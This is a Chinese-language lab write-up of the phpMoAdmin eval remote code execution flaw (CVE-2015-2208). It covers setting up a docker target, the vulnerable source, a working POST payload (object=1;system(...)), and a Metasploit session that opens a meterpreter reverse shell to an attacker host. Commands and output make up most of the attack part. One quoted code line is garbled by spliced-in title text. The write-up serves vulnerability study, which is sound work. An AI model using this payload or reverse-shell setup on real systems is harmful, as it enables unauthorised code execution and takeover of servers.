phpmoadmin 远程代码执行 (CVE-2015-2208)
描述: phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。 moadmin.php 开头检查POST是否传输了object,随后内包含的if进行判断,这个过程即调用了当前类的saveObject方法,POST传入object参数的值带入eval后就造成了代码执行。
环境搭建
靶机:CentOS7(192.168.2.101:8888)
利用vulhub一键搭建docker环境:
docker pull ptantiku/cve-2015-2208
sudo docker run -d -p 8888:80 ptantiku/cve-2015-2208
至此 环境搭建完毕
漏洞分析
www/html/moadmin.php 第693行:
public function saveObject($collection, $obj) {
eval('$obj=' . $obj . ';');
return $this->mongo->selectCollection($collection)->save($obj);
}
发现了eval函数,看看那些函数调用了saveObject
发现该函数只被调用了一次
www/html/moadmin.php 第787行:
if (isset($_POST['object'])) {
if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
return $this->_dumpFormVals();
} else {
$action = 'editObject';
$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';
}
} else if ($action == 'creatphpMoadmin CVE-2015-2208 远程代码执行漏洞分析eCollection') {
self::$model->$action($_GET['collection']);
} else if ($action == 'renameCollection'
&& isset($_POST['collectionto']) && $_POST['collectionto'] != $_POST['collectionfrom']) {
self::$model->$action($_POST['collectionfrom'], $_POST['collectionto']);
$_GET['collection'] = $_POST['collectionto'];
$action = 'listRows';
}
上文代码为函数__construct的代码段_
可以发现eval处的$obj是post传输进来的,参数名为object
构造函数(constructor method,也称为构造器)是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
很明显,在1977行处实例化了moadminComponent对象
$mo = new moadminComponent;
因此漏洞出现的位置和原理已经很明确了。
漏洞利用
构造payload:
object=1;system("whoami");
命令执行成功!
msf中也继承了对该漏洞的利用
msf6 exploit(multi/http/phpmoadmin_exec) > show options
Module options (exploit/multi/http/phpmoadmin_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.2.101 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8888 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /phpmoadmin yes The URI path of the PHPMoAdmin page
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.104 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHPMoAdmin
msf6 exploit(multi/http/phpmoadmin_exec) > exploit
[*] Started reverse TCP handler on 192.168.2.104:4444
[*] Executing payload...
[*] Sending stage (39282 bytes) to 192.168.2.101
[*] Meterpreter session 1 opened (192.168.2.104:4444 -> 192.168.2.101:54428) at 2022-01-07 11:13:03 +0800
ls
meterpreter >
meterpreter > ls
Listing: /var/www/html/phpmoadmin
=================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 113923 fil 2013-05-28 13:08:52 +0800 moadmin.php
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > ls
Listing: /var/www/html/phpmoadmin
=================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 113923 fil 2013-05-28 13:08:52 +0800 moadmin.php
meterpreter > shell
Process 96 created.
Channel 0 created.
ls
moadmin.php
|